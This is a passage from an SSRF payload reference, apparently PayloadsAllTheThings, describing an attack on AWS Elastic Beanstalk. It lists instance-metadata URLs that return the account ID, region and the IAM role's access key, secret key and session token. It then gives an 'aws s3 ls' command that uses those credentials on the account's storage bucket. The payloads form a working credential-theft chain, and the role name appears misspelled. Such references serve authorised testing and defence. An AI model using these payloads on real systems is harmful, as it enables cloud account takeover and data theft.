Server Side Request Forgery · passage 39 of 53

SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk

2 code blocks · Server Side Request Forgery/SSRF-Cloud-Instances.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

We retrieve the `accountId` and `region` from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.